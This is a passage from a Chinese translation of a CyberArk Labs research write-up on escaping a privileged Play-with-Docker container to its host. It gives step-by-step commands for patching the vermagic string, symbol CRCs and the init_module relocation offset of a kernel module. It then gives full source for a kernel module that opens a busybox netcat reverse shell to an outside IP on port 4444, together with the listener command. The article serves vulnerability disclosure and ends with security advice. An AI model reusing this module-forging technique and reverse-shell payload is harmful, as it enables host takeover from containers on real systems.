接上文

第3步:编辑相关的字段以匹配目标内核。

我们需要替换vermagic(见第5行)和CRC(见第25-27行),使其匹配目标内核。

之后,我们就得到PWD的CEPH.KO模块。

为了从ceph.ko模块中提取内核版本和函数的CRC,可以运行modinfo命令:

$ modinfo ceph.ko
 
filename:       /root/cprojects/kernelmod/play-docker/ceph.ko
license:        GPL
description:    Ceph filesystem for Linux
author:         Patience Warnick <[email protected]>
author:         Yehuda Sadeh <[email protected]>
author:         Sage Weil <[email protected]>
alias:          fs-ceph
srcversion:     C985B22FADB19E9D06914CC
depends:        libceph,fscache
intree:         Y
vermagic:       4.4.0-96-generic SMP mod_unload modversions 
signat:         PKCS#7
signer:         
sig_key:       
sig_hashalgo:   md4

记录vermagic字符串。请注意,它有一个尾随的空格,复制时,请不要忘了这一个空格。

生成的头文件需要用到3个CRC符号:

module_layout, printk and __fentry__.

为了找到这些CRC,需要对目标内核的ceph.ko模块运行modprobe命令:

# modprobe --dump-modversions ceph.ko | grep printk
0x27e1a049  printk
# modprobe --dump-modversions ceph.ko | grep module_layout
0xfc5ded98  module_layout
# modprobe --dump-modversions ceph.ko | grep __fentry
0xbdfb6dbb  __fentry__

现在,请编辑probing.mod.c,修改vermagic字符串和CRC,使其变为:

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
    
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
 
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
    .name = KBUILD_MODNAME,
    .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
    .exit = cleanup_module,
#endif
    .arch = MODULE_ARCH_INIT,
};
 
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
 
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
    { /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
    { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
    { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
 
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
 
MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");

请注意,printk和__fentry__的CRC并没有进行修改,这意味着它们对于本地内核和PWD内核具有相同的CRC。

第4步:修改init_module偏移量。

加载probing模块之前,需要完成的最后一步是修改其init_module可重定位偏移量。为此,需要检查PWD内核ceph.ko模块的ELF结构,以获得可重定位的init_module偏移量:

$ readelf -a ceph.ko | less

向下翻卷,直到找到如下行所示内容为止:

偏移量0x8F580处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:

  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000180  052900000001 R_X86_64_64       0000000000000000 init_module + 0
000000000338  04e700000001 R_X86_64_64       0000000000000000 cleanup_module + 0

注意,init_module的可重定位偏移量为0x180。

接下来,需要考察probing模块的init_module偏移量:

$ readelf -a probing.ko | less

向下翻卷,直到找到如下init_module所示内容为止:

在偏移量0x1bf18处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:

  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000178  002900000001 R_X86_64_64       0000000000000000 init_module + 0
000000000320  002700000001 R_X86_64_64       0000000000000000 cleanup_module + 0

从该输出结果来看,该probing模块的init_module可重定位偏移量似乎是0x178。我们需要对其进行修改,以便目标内核能够执行已安装模块的函数。

为此,我们需要在probing.ko文件的地址0x1BF18处将该偏移量改为0x180。

实际上,我们可以借助于chngelf工具来完成该任务:

$ chngelf probing.ko 0x1bf18 0x180

第5步:将“Probing”模块加载到目标内核。

对于这个probing模块来说,其下一个也是最后一个步骤是将probing.ko模块传输到PWD容器,并尝试将其加载到内核:

[node1] $ insmod probing.ko

如果加载成功,insmod将没有任何输出。

接下来,我们需要运行dmesg来转储内核消息:

$ dmesg
[1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state
[1921107.452064] Loading probing module...
[1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94
[1921107.464297] CRC of printk = 0x27e1a049

大功告成了!这样,我们只要能在PWD内核中运行自己的代码,就能获得所需符号的CRC了。

第3阶段:创建反向shell模块

对于反向shell来说,我们需要使用内核函数call_usermodehelper(),它可以从内核空间中准备并执行用户空间中的应用程序。

我们这里将使用一个非常简单的模块:

/*
 * @file    NsEscape.c
 * @author  Nimrod Stoler, CyberArk Labs
 * @date    29 Oct 2018
 * @version 0.1
 * @brief   This loadable kernel module prepares a new device with
 *          the inode of mnt namespace, which allows a container to
 *          escape to the host by using enterns or setns()
*/
 
#include <linux/module.h>     /* Needed by all modules */
#include <linux/kernel.h>     /* Needed for KERN_INFO */
#include <linux/init.h>       /* Needed for the macros */
#include <linux/sched/signal.h>
#include <linux/nsproxy.h>
#include <linux/proc_ns.h>
 
///< The license type -- this affects runtime behavior
MODULE_LICENSE("GPL");
  
///< The author -- visible when you use modinfo
MODULE_AUTHOR("Nimrod Stoler");
  
///< The description -- see modinfo
MODULE_DESCRIPTION("NS Escape LKM");
  
///< The version of the module
MODULE_VERSION("0.1");
  
static int __init escape_start(void)
{
    int rc;
 
static char *envp[] = {
    "SHELL=/bin/bash",
    "HOME=/home/cyberark",
    "USER=cyberark",
    "PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark",
    "DISPLAY=:0",
    "PWD=/home/cyberark",
    NULL};
 
    char *argv[] = { "/bin/busybox", "nc", "54.87.128.209", "4444", "-e", "/bin/bash", NULL };
 
    rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    printk("RC is: %i \n", rc);
 
     return 0;
}
 
static void __exit escape_end(void)
{
    printk(KERN_EMERG "Goodbye!\n");
}
  
module_init(escape_start);
module_exit(escape_end);

该模块会调用busybox程序包中的netcat工具,它应该已经根据C2服务器的IP和端口以反向shell模式安装到了主机的文件系统上。

接下来,我们为nsescape代码创建一个makefile文件,并进行编译:

obj-m = nsescape.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

然后,执行下列命令:

$ make
make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules
make[1]: Entering directory '/root/debian/linux-4.17-rc2'
Building modules, stage 2.
MODPOST 1 modules
read continue

当make进程停止后,编辑文件nsescape.mod.c,就像我们对probing模块所做的那样,修改vermagic和CRC:

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
 
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
 
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
    .name = KBUILD_MODNAME,
    .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
    .exit = cleanup_module,
#endif
    .arch = MODULE_ARCH_INIT,
};
 
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
 
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
    { /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
    { 0xdb7305a1, __VMLINUX_SYMBOL_STR(__stack_chk_fail) },
    { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
    { /*0xa7eedcc4*/ 0xc5fdef94, __VMLINUX_SYMBOL_STR(call_usermodehelper) },
    { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
 
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
 
MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67");

修改vermagic,使其匹配目标内核,同时,还要修改module_layout和call_usermodhelper符号的CRC,使其匹配运行probing模块时所获得的数字。不过,其他CRC(printk、__fentry__和__stack_chk_fail的CRC)在这两个内核之间貌似没有变化。

最后,使用chngelf工具将输出文件中的init_module可重定位偏移量从0x178改为0x180,就像处理probing模块时所做的那样。

在PWD主机上执行远程代码

现在,运行netcat,以准备好C2服务器:

nc –l 4444 -vvv

最后一步是将nsespace.ko文件传送到目标计算机,即Play–with-Docker容器上面,并执行如下所示的命令:

[node1] $ insmod nsescape.ko

这样,我们可以使用远程shell从PWD容器成功逃逸到主机了!(演示视频见原文

结束语

要想从Linux容器获得主机访问权限,即使不是不可能的话,也是一项非常艰巨的任务。不过,在这个PWD示例中,情况好像并非如此。

其实,其中的原因很简单:由于PWD使用了具有特权的容器,所以,在修复该漏洞之前,很难为其提供相应的安全防护。

虽然从PWD容器逃逸到主机非常困难——但正如我们在本文中所展示的那样,这并不是不可能的。并且,Linux内核模块注入只是攻击者可以利用的途径之一。并且,其他攻击途径也是存在的,所以,在使用特权容器时,必须妥善加以处理。

本文翻译自:https://www.cyberark.com/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host/如若转载,请注明原文地址: http://www.4hou.com/technology/15823.html
源链接

Hacking more

...